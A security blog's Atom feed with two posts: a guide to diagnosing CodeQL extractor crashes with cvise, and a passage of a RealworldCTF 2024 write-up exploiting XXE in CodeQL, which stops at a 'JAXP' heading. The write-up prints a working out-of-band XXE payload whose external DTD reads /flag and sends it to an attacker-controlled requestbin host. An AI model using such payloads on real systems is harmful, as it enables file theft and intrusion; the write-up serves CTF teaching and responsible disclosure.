<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://intrigus.org/feed.xml" rel="self" type="application/atom+xml" /><link href="https://intrigus.org/" rel="alternate" type="text/html" /><updated>2025-11-28T22:32:22+00:00</updated><id>https://intrigus.org/feed.xml</id><title type="html">Intrigus’ Security Lab</title><subtitle>A tiny contribution on securing the world&apos;s software</subtitle><author><name>intrigus</name></author><entry><title type="html">What to Do When Creating Your CodeQL Database Fails – and How to Report the Perfect Reproducer Using cvise</title><link href="https://intrigus.org/research/2025/11/28/what-to-do-when-codeql-database-creation-fails/" rel="alternate" type="text/html" title="What to Do When Creating Your CodeQL Database Fails – and How to Report the Perfect Reproducer Using cvise" /><published>2025-11-28T00:00:00+00:00</published><updated>2025-11-28T00:00:00+00:00</updated><id>https://intrigus.org/research/2025/11/28/what-to-do-when-codeql-database-creation-fails</id><content type="html" xml:base="https://intrigus.org/research/2025/11/28/what-to-do-when-codeql-database-creation-fails/"><![CDATA[<h1 id="what-to-do-when-creating-your-codeql-database-fails--and-how-to-report-the-perfect-reproducer-using-cvise">What to Do When Creating Your CodeQL Database Fails – and How to Report the Perfect Reproducer Using cvise</h1>

<p>Recently, a colleague was trying to create a CodeQL database for a specific version of the <a href="https://github.com/category-labs/monad/">monad project</a> to perform some security analysis.</p>

<p>Everything seemed to work fine during the database creation process. The build succeeded, CodeQL didn’t report any errors, and the database was created successfully.</p>

<p>However, when trying to query the database, something was clearly wrong.</p>

<h2 id="the-problem">The Problem</h2>

<p>My colleague wanted to find a specific class in the database. Even a simple query to select everything that has a location in a specific folder failed to return any results:</p>

<pre><code class="language-ql">import cpp

from Element e
where e.getLocation().getFile().getAbsolutePath().matches("%transaction%")
select e
</code></pre>

<p>This should have returned a few results, but instead returned <strong>nothing</strong>. Something was clearly broken with the database.</p>

<h2 id="looking-at-the-build-tracer-log">Looking at the Build Tracer Log</h2>

<p>When CodeQL database creation fails silently like this, the first thing to check is the build tracer log. This log contains detailed information about what happened during the build process and can reveal issues that aren’t immediately obvious.</p>

<p>The build tracer log is located at <code class="language-plaintext highlighter-rouge">$DB/log/build-tracer.log</code> inside your CodeQL database directory.</p>

<p>If we open this file and scroll through it, we notice something alarming: <strong>many “catastrophic errors”</strong>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[T 00:45:26 93] CodeQL CLI version 2.23.2
[T 00:45:26 93] Initializing tracer.
...
64 errors and 1 catastrophic error detected in the compilation of "/app/monad/category/execution/ethereum/core/transaction.cpp".
</code></pre></div></div>

<p>The log shows many traced compilations, but also 129 catastrophic errors detected during compilation!
If a compilation unit fails catastrophically, the extractor cannot extract any information from it, which explains why our queries returned no results.</p>

<p>To find what caused the catastrophic error, we need to scroll up a bit from where we see the catastrophic failures and look for actual error messages.</p>

<h2 id="finding-the-root-cause">Finding the Root Cause</h2>

<p>After scrolling through the build tracer log, we eventually find error messages that look like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>error: assertion failed at: "decls.c", line 18401 in add_src_seq_end_of_variable_if_needed
</code></pre></div></div>

<p>This is the smoking gun! The CodeQL C/C++ extractor is hitting an internal assertion failure when processing certain source files<sup id="fnref:codeql-extractor" role="doc-noteref"><a href="#fn:codeql-extractor" class="footnote" rel="footnote">1</a></sup>. When this happens, the extractor fails to extract any information from that compilation unit, which explains why our queries returned no results.</p>

<p>The error points to a specific file (<code class="language-plaintext highlighter-rouge">decls.c</code>) and line number (18401) in the CodeQL extractor’s internal code where an assertion failed. While we can’t fix the extractor directly, we can create a minimal reproducer to report the bug to the CodeQL team.</p>

<h2 id="creating-a-minimal-reproducer-with-cvise">Creating a Minimal Reproducer with cvise</h2>

<p>When reporting bugs to the CodeQL team (or any compiler/static analysis tool team), providing a minimal reproducer is incredibly valuable. Instead of asking them to clone and build the entire monad project, we can use a tool called <a href="https://github.com/marxin/cvise">cvise</a> (or its predecessor, C-Reduce) to automatically reduce our failing test case to a minimal example.</p>

<h3 id="what-is-cvise">What Is cvise?</h3>

<p><a href="https://github.com/marxin/cvise/">cvise</a> is a tool for reducing C/C++ programs. It takes a large program that triggers a bug and automatically removes code while ensuring the bug still reproduces. The result is a minimal test case that’s much easier to understand and debug.</p>

<p>I cannot recommend <code class="language-plaintext highlighter-rouge">cvise</code> enough for this purpose - it saved me hours of manual reduction work!
<strong>Whether you’re dealing with compiler crashes, static analysis tool bugs, or any other C/C++ code issues, <code class="language-plaintext highlighter-rouge">cvise</code> is an invaluable tool in your debugging arsenal.</strong>
In many cases, it even works pretty well for non-C/C++ languages, such as JavaScript or Java, by treating them as plain text files and applying similar reduction strategies!</p>

<h3 id="setting-up-the-interestingness-test">Setting Up the Interestingness Test</h3>

<p>To use <code class="language-plaintext highlighter-rouge">cvise</code>, we need to create an “interestingness test” - a script that returns 0 (success) if the bug reproduces and non-zero (failure) if it doesn’t.</p>

<p>Here’s the interestingness test script we’ll use:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">set</span> <span class="nt">-e</span>

cleanup<span class="o">()</span> <span class="o">{</span>
    <span class="nb">rm</span> <span class="nt">-rf</span> <span class="s2">"</span><span class="nv">$mytmpdir</span><span class="s2">"</span>
<span class="o">}</span>
<span class="nb">trap </span>cleanup EXIT

<span class="nv">mytmpdir</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span> <span class="nt">-d</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">mktemp</span> <span class="nt">-d</span> <span class="nt">-t</span> <span class="s1">'mytmpdir'</span><span class="si">)</span>
codeql database create <span class="s2">"</span><span class="nv">$mytmpdir</span><span class="s2">"</span> <span class="nt">--language</span><span class="o">=</span>cpp <span class="nt">--command</span><span class="o">=</span><span class="s2">"/usr/lib/llvm-19/bin/clang -std=gnu++23 -c minimal.cpp"</span> <span class="nt">--overwrite</span>
<span class="nb">cat</span> <span class="s2">"</span><span class="nv">$mytmpdir</span><span class="s2">/log/build-tracer.log"</span> | <span class="nb">grep</span> <span class="s1">'error: assertion failed at: "decls.c", line 18401 in add_src_seq_end_of_variable_if_needed'</span>
<span class="nv">status</span><span class="o">=</span><span class="nv">$?</span>
<span class="nb">exit</span> <span class="nv">$status</span>
</code></pre></div></div>

<p>This script:</p>
<ol>
  <li>Creates a temporary directory for the CodeQL database</li>
  <li>Tries to create a CodeQL database by compiling <code class="language-plaintext highlighter-rouge">minimal.cpp</code> with the same compiler and flags used in the original build</li>
  <li>Searches the build tracer log for our specific error message</li>
  <li>Returns 0 (success) if the error is found, non-zero (failure) if it’s not</li>
  <li>Cleans up the temporary directory when done</li>
</ol>

<h3 id="finding-the-failing-source-file">Finding the Failing Source File</h3>

<p>Before we can run <code class="language-plaintext highlighter-rouge">cvise</code>, we need to identify which source file is causing the problem. We can grep through the build tracer log for the error message and look at the preceding compilation commands to find the problematic file.</p>

<p>Once we’ve identified the file, we copy it to <code class="language-plaintext highlighter-rouge">minimal.cpp</code> and verify that our interestingness test works:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> /path/to/monad/consensus/problematic_file.cpp minimal.cpp
<span class="nb">chmod</span> +x test.sh
./test.sh
<span class="nb">echo</span> <span class="nv">$?</span>  <span class="c"># should print 0</span>
</code></pre></div></div>

<p>In our case, the log shows that the problematic file is from the GNU C++ standard library header <code class="language-plaintext highlighter-rouge">alloc_traits.h</code>, so we copy that file into <code class="language-plaintext highlighter-rouge">minimal.cpp</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CodeQL C++ extractor: Current location: /app/monad/category/vm/core/assert.cpp:62055,3
CodeQL C++ extractor: Current physical location: /usr/lib/gcc/x86_64-linux-gnu/15/../../../../include/c++/15/bits/alloc_traits.h:146,3
"/usr/lib/gcc/x86_64-linux-gnu/15/../../../../include/c++/15/bits/alloc_traits.h", line 146: internal error: assertion failed at: "decls.c", line 18401 in add_src_seq_end_of_variable_if_needed

  	};
  	 ^
</code></pre></div></div>

<h3 id="running-cvise">Running cvise</h3>

<p>Now we can run <code class="language-plaintext highlighter-rouge">cvise</code> to reduce the file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cvise <span class="nt">--n</span> 8 test.sh minimal.cpp
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">--n 8</code> flag tells cvise to use 8 parallel processes to speed up the reduction.</p>

<p><code class="language-plaintext highlighter-rouge">cvise</code> will now automatically try removing various parts of the code - functions, statements, expressions, type qualifiers, and more - while continuously checking that the bug still reproduces. This process can take anywhere from a few minutes to several hours depending on the size of the original file.</p>

<h3 id="what-cvise-does">What cvise Does</h3>

<p>During the reduction process, <code class="language-plaintext highlighter-rouge">cvise</code> will:</p>
<ol>
  <li>Try removing entire functions</li>
  <li>Try removing statements and expressions</li>
  <li>Try simplifying complex expressions</li>
  <li>Try removing template parameters and type qualifiers</li>
  <li>Try renaming identifiers to simpler names</li>
  <li>Try many other transformations</li>
</ol>

<p>At each step, it runs our interestingness test to verify the bug still reproduces. If a transformation causes the bug to disappear, it’s reverted. If the bug still reproduces, the transformation is kept.</p>

<h3 id="the-final-result">The Final Result</h3>

<p>After <code class="language-plaintext highlighter-rouge">cvise</code> finishes, we’ll have a <code class="language-plaintext highlighter-rouge">minimal.cpp</code> file that might look something like this:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">__allocator_traits_base</span> <span class="p">{</span>
  <span class="k">template</span> <span class="o">&lt;</span> <span class="k">typename</span> <span class="p">&gt;</span>
  <span class="k">static</span> <span class="k">constexpr</span> <span class="kt">int</span> <span class="n">__can_construct_at</span><span class="p">{</span>
<span class="cp"># 1
</span>  <span class="p">};</span>
<span class="p">};</span>
</code></pre></div></div>

<p>This is much simpler than the original thousands of lines of code, but it still triggers the same assertion failure in the CodeQL extractor!</p>

<h2 id="reporting-the-bug">Reporting the Bug</h2>

<p>Now that we have a minimal reproducer, we can create a bug report for the CodeQL team. The report should include:</p>

<ol>
  <li><strong>Description</strong>: A clear description of the problem (“CodeQL C/C++ extractor crashes with assertion failure on this code”)</li>
  <li><strong>CodeQL version</strong>: The version where the bug occurs (e.g., “CodeQL CLI version 2.23.2”)</li>
  <li><strong>Minimal reproducer</strong>: The reduced <code class="language-plaintext highlighter-rouge">minimal.cpp</code> file</li>
  <li><strong>Command to reproduce</strong>: The exact command that triggers the bug</li>
  <li><strong>Expected behavior</strong>: What should happen (“The code should be extracted successfully”)</li>
  <li><strong>Actual behavior</strong>: What actually happens (“Assertion failure: error: assertion failed at: ‘decls.c’, line 18401”)</li>
</ol>

<p>With this information, the CodeQL team can quickly reproduce the issue, debug it, and create a fix.</p>

<h2 id="conclusion">Conclusion</h2>

<p>When CodeQL database creation appears to succeed but queries return no results:</p>

<ol>
  <li>Check the <strong>build tracer log</strong> at <code class="language-plaintext highlighter-rouge">codeql-db/log/build-tracer.log</code></li>
  <li>Look for error messages and assertion failures</li>
  <li>Identify the failing source file(s)</li>
  <li>Use <strong>cvise</strong> to create a minimal reproducer</li>
  <li>Report the bug with all relevant details</li>
</ol>

<p>By following this process, you can turn a frustrating debugging experience into a valuable bug report that helps improve CodeQL for everyone.</p>

<p>The bug has been fixed after just 9 days and released in <a href="https://github.com/github/codeql-cli-binaries/releases/tag/v2.23.5">CodeQL CLI version 2.23.5</a>!</p>

<h3 id="appendix-dockerfile-for-reproducing-the-issue">Appendix: Dockerfile for Reproducing the Issue</h3>

<div class="language-Dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># syntax=docker/dockerfile:1-labs</span>

<span class="k">FROM</span><span class="w"> </span><span class="s">ubuntu:25.04</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">base</span>

<span class="k">RUN </span>apt update <span class="o">&amp;&amp;</span> apt upgrade <span class="nt">-y</span>

<span class="k">RUN </span>apt update <span class="o">&amp;&amp;</span> apt <span class="nb">install</span> <span class="nt">-y</span> apt-utils

<span class="k">RUN </span>apt update <span class="o">&amp;&amp;</span> apt <span class="nb">install</span> <span class="nt">-y</span> dialog

<span class="k">RUN </span>apt update <span class="o">&amp;&amp;</span> apt <span class="nb">install</span> <span class="nt">-y</span> <span class="se">\
</span>    ca-certificates <span class="se">\
</span>    curl <span class="se">\
</span>    gnupg <span class="se">\
</span>    software-properties-common <span class="se">\
</span>    wget <span class="se">\
</span>    git

<span class="k">RUN </span>apt update <span class="o">&amp;&amp;</span> apt <span class="nb">install</span> <span class="nt">-y</span> <span class="se">\
</span>    clang-19 <span class="se">\
</span>    gcc-15 <span class="se">\
</span>    g++-15

<span class="k">RUN </span>apt update <span class="o">&amp;&amp;</span> apt <span class="nb">install</span> <span class="nt">-y</span> <span class="se">\
</span>    libarchive-dev <span class="se">\
</span>    libbrotli-dev <span class="se">\
</span>    libcap-dev <span class="se">\
</span>    libcli11-dev <span class="se">\
</span>    libgmp-dev <span class="se">\
</span>    libtbb-dev <span class="se">\
</span>    libzstd-dev

<span class="k">RUN </span>git clone https://github.com/category-labs/monad/ /monad <span class="o">&amp;&amp;</span> <span class="se">\
</span><span class="nb">cd </span>monad <span class="o">&amp;&amp;</span> git checkout 3f1f0063468e04f48ff068d388167af1c4ab5635 <span class="o">&amp;&amp;</span> <span class="se">\
</span><span class="nb">cp</span> /monad/scripts/ubuntu-build/<span class="k">*</span> /opt/ <span class="o">&amp;&amp;</span> <span class="nb">rm</span> <span class="nt">-rf</span> /monad


<span class="k">RUN </span>/opt/install-boost.sh
<span class="k">RUN </span>/opt/install-tools.sh
<span class="k">RUN </span>/opt/install-deps.sh


<span class="k">FROM</span><span class="w"> </span><span class="s">base</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">codeql</span>

<span class="k">WORKDIR</span><span class="s"> /app</span>

<span class="k">RUN </span>apt <span class="nb">install</span> <span class="nt">-y</span> unzip libstdc++-15-dev
<span class="c"># Change to v2.23.5 (fixed) or v2.23.3 (broken) to test different versions</span>
<span class="k">RUN </span>curl <span class="nt">-LO</span> <span class="s2">"https://github.com/github/codeql-cli-binaries/releases/download/v2.23.3/codeql-linux64.zip"</span>
<span class="k">RUN </span>unzip codeql-linux64.zip <span class="o">&amp;&amp;</span> <span class="nb">rm </span>codeql-linux64.zip

<span class="k">ENV</span><span class="s"> PATH="/app/codeql:$PATH"</span>
<span class="k">ENV</span><span class="s"> ASMFLAGS=-march=haswell</span>
<span class="k">ENV</span><span class="s"> CFLAGS=-march=haswell</span>
<span class="k">ENV</span><span class="s"> CXXFLAGS=-march=haswell</span>


<span class="k">RUN </span>git clone <span class="nt">--recursive</span> https://github.com/category-labs/monad/ <span class="o">&amp;&amp;</span> <span class="nb">cd </span>monad <span class="o">&amp;&amp;</span> git checkout 3f1f0063468e04f48ff068d388167af1c4ab5635 <span class="o">&amp;&amp;</span> <span class="nb">mkdir </span>build
<span class="k">WORKDIR</span><span class="s"> /app/monad</span>

<span class="k">RUN </span>cmake <span class="nt">-S</span> <span class="nb">.</span> <span class="nt">-B</span> build/ <span class="nt">-DCMAKE_C_COMPILER</span><span class="o">=</span>/usr/bin/clang-19 <span class="nt">-DCMAKE_CXX_COMPILER</span><span class="o">=</span>/usr/bin/clang++-19
<span class="k">RUN </span>codeql database create codeql-db/ <span class="nt">--language</span><span class="o">=</span>cpp <span class="nt">--command</span><span class="o">=</span><span class="s2">"cmake --build build/ --target monad -- -j"</span> <span class="nt">--overwrite</span>
</code></pre></div></div>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:codeql-extractor" role="doc-endnote">
      <p>Why does this only happen when CodeQL “compiles” the code? The CodeQL C/C++ extractor intercepts the compilation process to extract additional information about the command line, macros, types, and so on. During this process, it runs its own compiler frontend that is based on <a href="https://www.edg.com/c">EDG</a>. This frontend is separate from the actual compiler used to build the code (e.g., Clang or GCC) and can have its own bugs and limitations. So even if the original code compiles fine with Clang or GCC, the CodeQL extractor might still hit bugs in its own frontend! <a href="#fnref:codeql-extractor" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>intrigus</name></author><category term="research" /><summary type="html"><![CDATA[How to debug CodeQL database creation failures, identify the root cause from build-tracer logs, and create minimal reproducers using cvise.]]></summary></entry><entry><title type="html">RealworldCTF 2024 – Protected-by-Java-SE – Writeup</title><link href="https://intrigus.org/research/2025/05/07/realworld-ctf-2024-using-codeql-to-find-bugs-in-codeql/" rel="alternate" type="text/html" title="RealworldCTF 2024 – Protected-by-Java-SE – Writeup" /><published>2025-05-07T00:00:00+00:00</published><updated>2025-05-07T00:00:00+00:00</updated><id>https://intrigus.org/research/2025/05/07/realworld-ctf-2024-using-codeql-to-find-bugs-in-codeql</id><content type="html" xml:base="https://intrigus.org/research/2025/05/07/realworld-ctf-2024-using-codeql-to-find-bugs-in-codeql/"><![CDATA[<h1 id="realworldctf-2024--protected-by-java-se--writeup">RealworldCTF 2024 – Protected-by-Java-SE – Writeup</h1>

<p><em>TLDR: Nearly up-to-date (at the time) version of CodeQL and we have to extract the contents of a world-readable /flag file using XXE.</em> <br />
400 points and 8 solves. <br />
Flag: <code class="language-plaintext highlighter-rouge">rwctf{6ebfdb11-8e7f-493a-8bb2-d8623fd993bf}</code>.</p>

<div class="note">
<b>Note:</b>
The unintended solution and vulnerability have been found without CodeQL, but it was just too intriguing to not say "using CodeQL to find bugs in CodeQL" in the title, and so I also show how to find the vulnerability using CodeQL.
</div>

<p>For this challenge, we are given an executable <code class="language-plaintext highlighter-rouge">codeql_agent</code> and a <code class="language-plaintext highlighter-rouge">Dockerfile</code> that downloads the CodeQL bundle version 2.15.5.
Our only means of interaction with the remote system is through this agent, written in Rust. Using this binary, a git repository containing a CodeQL database can be cloned and then we are allowed to execute (multiple) arbitrary CodeQL queries against it.</p>

<p>To obtain the flag file, we therefore have to find a (probably arbitrary) file read in CodeQL, which either emits the file contents to stdout/stderr or sends them off to a remote host.</p>

<p>I’ll first show the intended solution, my unintended solution, and then how to find the vulnerability using CodeQL.</p>

<div class="note">
<b>Note:</b>
The analysis was done together with <a href="https://github.com/I-Al-Istannen">I Al Istannen</a> while the part on using CodeQL to (re-)find the XXE was done by me. So “I” often means “we” in the first part.
</div>

<h2 id="analysis">Analysis</h2>

<p>If we open the binary in Ghidra, we are greeted with (Rust) pain:
<img src="/assets/images/realworldctf-2024_rust_pain.png" alt="Unreadable decompiled Rust code" style="width: 100%;" /></p>

<p>So maybe let’s just run it and see what it does.
After starting the driver program, we are first asked for our username.
Unfortunately, we cannot introduce any special characters into it and so this is not (unintentionally) exploitable.
After that, we can ask the program to clone a given URL using <code class="language-plaintext highlighter-rouge">git clone</code>.
So far, no reversing was actually needed, but as we were initially unable to clone a git repository we had to look at the Rust code…
Trying to follow the flow from the entry point is pretty hard due to Rust and the usage of tokio. Instead we simply searched in Ghidra for the error string:</p>

<blockquote>
  <p>Invalid Git URL. Please try again.</p>
</blockquote>

<p>Which brings us here:
<img src="/assets/images/realworldctf-2024_invalid_git_url_string.png" alt="The string 'Invalid Git URL. Please try again.\n' as shown in Ghidra's listing view" style="width: 100%;" /></p>

<p>And after clicking on the first XREF, we get this nice code:
<img src="/assets/images/realworldctf-2024_invalid_git_url_string_used.png" alt="The string is being used inside an if" style="width: 100%;" /></p>

<p>The code checks whether the url has at least 8 characters and starts with <code class="language-plaintext highlighter-rouge">http://</code>. The starts with check is implemented by XORing with <code class="language-plaintext highlighter-rouge">0x2f2f3a70</code> (which is equivalent to <code class="language-plaintext highlighter-rouge">//:p</code>) and <code class="language-plaintext highlighter-rouge">0x70747468</code> (which is equivalent to <code class="language-plaintext highlighter-rouge">ptth</code>).</p>

<p>So a valid URL would, for example, be http://internal.internal/foo.git.</p>

<p>After that, we can write arbitrary CodeQL which is then executed as a query.
By either looking at the strings in Ghidra or by observing the started programs, we realize that CodeQL is started in a slightly unusual way:
<code class="language-plaintext highlighter-rouge">codeql query run -d &lt;DB_PATH&gt; &lt;QUERY_PATH&gt; -J-Djavax.xml.accessExternalDTD=all</code>
The JVM option <code class="language-plaintext highlighter-rouge">-Djavax.xml.accessExternalDTD=all</code> immediately hints towards the next step being to look at XML/XXE.</p>

<!-- ### Debugging CodeQL

TODO: port section from writeup -->

<h2 id="intended-solution">Intended Solution</h2>

<p>The intended solution is to perform XXE using the legacy <code class="language-plaintext highlighter-rouge">.dbinfo</code> file which is used by CodeQL to store information about the database and looks like this:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;</span>
<span class="nt">&lt;ns2:dbinfo</span> <span class="na">xmlns:ns2=</span><span class="s">"https://semmle.com/schemas/dbinfo"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;sourceLocationPrefix&gt;</span>/opt/src<span class="nt">&lt;/sourceLocationPrefix&gt;</span>
    <span class="nt">&lt;unicodeNewlines&gt;</span>false<span class="nt">&lt;/unicodeNewlines&gt;</span>
    <span class="nt">&lt;columnKind&gt;</span>utf16<span class="nt">&lt;/columnKind&gt;</span>
<span class="nt">&lt;/ns2:dbinfo&gt;</span>
</code></pre></div></div>

<p>CodeQL parses <code class="language-plaintext highlighter-rouge">.dbinfo</code> files using the <code class="language-plaintext highlighter-rouge">com.semmle.util.db.DbInfo</code> class which uses their <code class="language-plaintext highlighter-rouge">XML</code> class to parse the XML file:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// simplified from `readXmlDbInfo`</span>
<span class="nc">String</span> <span class="n">dbInfoPath</span> <span class="o">=</span> <span class="s">"PATH/TO/.dbinfo"</span><span class="o">;</span>
<span class="nc">InputStream</span> <span class="n">input</span> <span class="o">=</span> <span class="nc">Files</span><span class="o">.</span><span class="na">newInputStream</span><span class="o">(</span><span class="n">dbInfoPath</span><span class="o">);</span>
<span class="nc">DbInfo</span> <span class="n">dbInfo</span> <span class="o">=</span> <span class="no">XML</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="kc">null</span><span class="o">,</span> <span class="nc">DbInfo</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="n">dbInfoPath</span><span class="o">.</span><span class="na">toString</span><span class="o">(),</span> <span class="k">new</span> <span class="nc">StreamSource</span><span class="o">(</span><span class="n">input</span><span class="o">));</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">XML.read</code> ultimately uses <code class="language-plaintext highlighter-rouge">javax.xml.bind.Unmarshaller</code> to parse the XML file:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="o">&lt;</span><span class="no">T</span><span class="o">&gt;</span> <span class="no">T</span> <span class="nf">read</span><span class="o">(</span><span class="nc">Schema</span> <span class="n">schema</span><span class="o">,</span> <span class="nc">Class</span><span class="o">&lt;</span><span class="no">T</span><span class="o">&gt;</span> <span class="n">type</span><span class="o">,</span> <span class="nc">String</span> <span class="n">sourceName</span><span class="o">,</span> <span class="nc">StreamSource</span> <span class="n">source</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Unmarshaller</span> <span class="n">unmarshaller</span> <span class="o">=</span> <span class="n">getContext</span><span class="o">(</span><span class="n">type</span><span class="o">).</span><span class="na">createUnmarshaller</span><span class="o">();</span>
<span class="n">unmarshaller</span><span class="o">.</span><span class="na">setSchema</span><span class="o">(</span><span class="n">schema</span><span class="o">);</span>
<span class="k">return</span> <span class="n">unmarshaller</span><span class="o">.</span><span class="na">unmarshal</span><span class="o">(</span><span class="n">source</span><span class="o">,</span> <span class="n">type</span><span class="o">).</span><span class="na">getValue</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">javax.xml.bind.Unmarshaller</code> class is part of the Java API for XML Binding (JAXB), which is not vulnerable to XXE by default in newer versions <sup id="fnref:name-hint" role="doc-noteref"><a href="#fn:name-hint" class="footnote" rel="footnote">1</a></sup>, as far as I know. So if we run this simplified code that uses <code class="language-plaintext highlighter-rouge">javax.xml.bind.Unmarshaller</code> to parse an XML file with XXE, it will not work:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">Main</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">xxeString</span> <span class="o">=</span> <span class="s">"&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;!DOCTYPE foo [&lt;!ENTITY xxe SYSTEM \"file:///flag\"&gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt;"</span><span class="o">;</span>
        <span class="nc">InputStream</span> <span class="n">input</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">xxeString</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="s">"UTF-8"</span><span class="o">));</span>
        <span class="nc">JAXBContext</span> <span class="n">context</span> <span class="o">=</span> <span class="nc">JAXBContext</span><span class="o">.</span><span class="na">newInstance</span><span class="o">(</span><span class="nc">String</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
        <span class="nc">Unmarshaller</span> <span class="n">unmarshaller</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">createUnmarshaller</span><span class="o">();</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">unmarshaller</span><span class="o">.</span><span class="na">unmarshal</span><span class="o">(</span><span class="k">new</span> <span class="nc">StreamSource</span><span class="o">(</span><span class="n">input</span><span class="o">),</span> <span class="nc">String</span><span class="o">.</span><span class="na">class</span><span class="o">).</span><span class="na">getValue</span><span class="o">());</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>and fail with an exception:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>javax.xml.bind.UnmarshalException
    at [SNIP]
Caused by: org.xml.sax.SAXParseException: External Entity: Failed to read external document 'flag', because 'file' access is not allowed due to restriction set by the accessExternalDTD property.
    at [SNIP]
    at com.example.Main.main (Main.java:18)
</code></pre></div></div>

<p>If we run the same code with the <code class="language-plaintext highlighter-rouge">-Djavax.xml.accessExternalDTD=all</code> JVM option, it will work and print the contents of the <code class="language-plaintext highlighter-rouge">/flag</code> file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rwctf{fake_flag}
</code></pre></div></div>

<h3 id="full-exploit">Full Exploit</h3>

<p>For a full exploit, we’d replace a <code class="language-plaintext highlighter-rouge">.dbinfo</code> file in an existing (old) CodeQL database with this XXE payload:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;</span>
<span class="cp">&lt;!DOCTYPE foobar SYSTEM "https://requestbin.internal/dQw4w9WgXcQ"&gt;</span>
</code></pre></div></div>

<p>where the <code class="language-plaintext highlighter-rouge">https://requestbin.internal/dQw4w9WgXcQ</code> URL is a requestbin URL that we control and that returns this content:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!ENTITY % file SYSTEM "file:///flag"&gt;</span>
<span class="cp">&lt;!ENTITY % eval "&lt;!ENTITY &amp;#x25; exfil SYSTEM 'https://requestbin.internal/dQw4w9WgXc/%file;'&gt;</span>"&gt;
%eval;
%exfil;
</code></pre></div></div>

<p>We then only have to host the DB somewhere in a Git repository and tell the “codeql_agent” to run a CodeQL query on that database.</p>

<p>After a while, we will see a request to our requestbin URL with the contents of the <code class="language-plaintext highlighter-rouge">/flag</code> file:
<code class="language-plaintext highlighter-rouge">https://requestbin.internal/dQw4w9WgXc/rwctf{6ebfdb11-8e7f-493a-8bb2-d8623fd993bf}</code></p>

<h2 id="unintended-solution--cve-2024-25129">Unintended Solution – CVE-2024-25129</h2>

<p>The unintended solution is to use the <code class="language-plaintext highlighter-rouge">semmlecode.dbscheme.stats</code> file which is used to improve join-ordering decisions in CodeQL. This solution is unintended, because it works with the default JVM settings and does not require the <code class="language-plaintext highlighter-rouge">-Djavax.xml.accessExternalDTD=all</code> JVM option. We therefore responsibly disclosed this vulnerability to GitHub and it was assigned <a href="https://github.com/github/codeql-cli-binaries/security/advisories/GHSA-gf8p-v3g3-3wph">CVE-2024-25129</a>.</p>

<h3 id="finding-out-where-xml-is-parsed">Finding out Where XML is Parsed</h3>

<p>We knew that we had to find a place where CodeQL parsed XML and so we set out to find all places where the CodeQL Java program parsed XML. To do this, we first set up a comfy development environment.</p>

<h4 id="debugging">Debugging</h4>

<p>As CodeQL is a nice, unobfuscated Java program, we just make a small project in IntelliJ and attach the CodeQL JAR file as a library. This allows us to write code calling CodeQL methods but, more importantly, also <strong>to use IntelliJ’s remote debugging feature for dynamic analysis</strong>. To find all XML parsing locations, we then insert breakpoints at the JAXP entrypoints and run the program.</p>

<h4 id="jaxp">JAXP</h4>

